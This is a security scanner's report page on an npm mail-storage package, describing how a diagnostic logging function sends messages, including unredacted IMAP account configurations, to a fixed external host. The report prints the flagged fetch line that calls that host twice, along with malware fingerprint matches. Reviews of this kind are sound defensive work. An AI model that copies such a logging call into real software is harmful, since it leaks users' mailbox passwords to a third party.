registry / Credential exfiltration / @bobfrankston/mailx-store-web / 0.1.124

@bobfrankston/mailx-store-web@0.1.124

AI Security Review

scanned 23d ago · by lpm-firewall-ai

The source demonstrates conditional credential disclosure through diagnostic logging, warranting a warning for a critical vulnerability. The inspected behavior does not establish deliberate malicious intent sufficient to classify the package as malware.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Calling initAndroid with Google Drive reconciliation available and cloud accounts containing IMAP passwords.

Impact

Mailbox passwords and account details can reach the logging service and its URL logs; messages are truncated to 800 characters.

Mechanism

Cloud accounts are normalized with passwords, then their complete IMAP configuration is serialized into a logging request to a fixed external host.

AI rationale

Evidence

android-bootstrap.jsweb-settings.jsaccounts.jsonc

Network endpoints1

rmf39.aaz.lt

Decision evidence

public snapshot

AI called this Suspicious at 96.0% confidence as Critical Vulnerability with low false-positive risk.

Evidence for warning

Android account registration logs the complete IMAP configuration without password redaction.
The logging function sends its input to https://rmf39.aaz.lt in a URL, without an opt-in check.
Account normalization retains configured IMAP passwords.
Cloud account loading reads accounts.jsonc and returns normalized accounts.
The exported Android initialization function activates the startup path.
package.json defines only a build script and no installation lifecycle hooks.

Evidence against

The behavior appears within diagnostic logging; inspected source does not establish deliberate malware intent.
The default entrypoint exports storage and service classes; credential exposure requires Android initialization and applicable cloud accounts.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 30 file(s), 829 KB of source, external domains: accounts.google.com, gmail.googleapis.com, mail.google.com, oauth2.googleapis.com, people.googleapis.com, rmf39.aaz.lt, sql.js.org, www.googleapis.com, www.w3.org

Source & flagged code

7 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

27const post = (msg: any) => (self as any).postMessage(msg);

29// ── Event emission → main thread ──

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

42// ── Native bridge proxy ──

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.122 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.122 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 35b409f9bea3f4b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.122 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.122 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

Lines 26-66javascript

26let service;

27let syncManager;

28const eventHandlers = [];

29// ── Event emitter ──

30function emitEvent(event) {

31 for (const

web-settings.jsView file

Lines 235-275javascript

235 "icloud.com": {

236 label: "iCloud",

237 imap: { host: "imap.mail.me.com", port: 993, tls: true, auth: "password" },

238 smtp: { host: "smtp.mail.me.com", port: 587, tls: true, auth: "password"

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

Findings

1 Critical2 High6 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationworker-entry.ts

HighKnown Malware Source Similarityworker-bundle.js

HighKnown Malware Source Fingerprint Signatureworker-bundle.js

MediumNetwork

MediumStructural Risk Force Deep Review

MediumAi Review Evidenceandroid-bootstrap.js

MediumAi Review Evidenceweb-settings.js

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @bobfrankston/mailx-store-web@0.1.124.

See all versions of @bobfrankston/mailx-store-web for other recorded verdicts.

Review the evidence and your use of @bobfrankston/mailx-store-web@0.1.124 before allowing it. Restrict the permissions described in this report.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.

Evidence last updated: 2026-09-30 06:42:27.604Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

More from @bobfrankston

Behavioral surface

Related packages

More from @bobfrankston

Source & flagged code